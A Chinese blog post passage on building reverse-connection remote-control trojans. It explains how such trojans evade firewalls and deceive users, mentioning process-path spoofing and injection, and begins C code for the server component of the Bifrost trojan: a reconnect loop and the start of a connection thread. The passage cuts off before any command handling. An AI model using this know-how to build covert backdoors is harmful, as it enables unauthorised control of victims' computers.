远程控制编程之反弹端口模式

 远程控制软件的上线模式主要有两种:正向直连模式与反弹端口模式。正向直连模式远控需要输入对方的IP地址和端口(图1),比如Radmin就是正向连接。当被控端是ADSL拨号这种动态IP或者需要监控的机器比较多的话,一个个输入IP和端口是繁琐和不准确的。这时,聪明的远程控制软件开发者们设计了反弹端口模式(图2),比如常见的灰鸽子,PcShare等远控都使用了这个模式。这个模式主要用于两个目的,一是解决被控端的动态IP难确定问题,二是穿透防火墙和麻痹被控机器的用户。

      最初开发者为了解决IP变动问题采用的是控制端IP段端口扫描和被控端Email发信通知两种方法,显然这两种效率都是低下的。反弹端口模式由被控端主动连接控制端,做到了以不变或者一变应万变,所有的被控端只要知道控制端的IP和端口就可以主动连接上来。前面说的不变指得是控制端使用固定IP,一变就是控制端是动态IP,通知控制端IP目前主要使用DNS解析和URL转发两种方法。

      早期的防火墙对内部发起的连接请求无条件信任,反弹端口模型就是利用了这个弱点来穿透防火墙。另外当反弹连接的端口为80的时候,也可以欺骗检查连接状态的用户,让其误以为是正常的Web访问连接。当然现在的防火墙早以是内外兼修了,因此现在很多远控的服务端通过远程注入或者修改PEB伪造进程路径为防火墙进程来达到欺骗和突破防火墙的目的。

      言归正传,在有了反弹端口模式背景知识和基本原理之后,笔者介绍两种自己经常使用的反弹端口模式实现代码。一是基于阻塞SOCKET的反弹框架,另是基于异步选择SOCKET的反弹框架。这里笔者特意选择实现Bifrost1.102(彩虹桥木马)的被控端来增加本文的趣味性和成就感。

      先看阻塞SOCKET的反弹框架。反弹模式中一般都有断线重连机制,这里使用循环来不断发起连接。代码如下:

int APIENTRY WinMain(HINSTANCE hInstance,

                     HINSTANCE hPrevInstance,

                     LPSTR     lpCmdLine,

                     int       nCmdShow)

{

       //初始化WSA
       WSADATA lpWSAData;
       WSAStartup(MAKEWORD(1, 1), &lpWSAData);      

       while (1)
       {
        //开启连接控制端线程,并等待线程结束
              HANDLE hThread;
              DWORD dwThreadID;
              hThread = CreateThread(NULL, 0, ConnectThread, NULL, 0, &dwThreadID);
              WaitForSingleObject(hThread, INFINITE);
              CloseHandle(hThread);

        //休息10秒后再次发起连接
              Sleep(10000);
       }

       // 卸载WSA
       WSACleanup();

       return 0;
}

在ConnectThread线程里先连接控制端,连接成功后循环读取命令指令并分配执行。代码如下:

DWORD _stdcall ConnectThread(LPVOID lParam)

{
       SOCKET hSocket;
       struct sockaddr_in LocalAddr;

       hSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值